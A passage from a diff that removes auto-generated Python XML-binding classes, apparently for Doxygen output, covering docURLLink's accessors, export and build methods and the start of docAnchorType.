self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_url(self): - return self.url - def set_url(self, url): - self.url = url - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docURLLink', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docURLLink') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docURLLink': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docURLLink') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docURLLink', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docURLLink'): - if self.url is not None and 'url' not in already_processed: - already_processed.add('url') - outfile.write(' url=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.url), input_name='url')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docURLLink', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('url', node) - if value is not None and 'url' not in already_processed: - already_processed.add('url') - self.url = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docURLLink - - -class docAnchorType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docAnchorType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docAnchorType.subclass: - return docAnchorType.subclass(*args_, **kwargs_) - else: - return docAnchorType(*args_, **kwargs_) - factory = 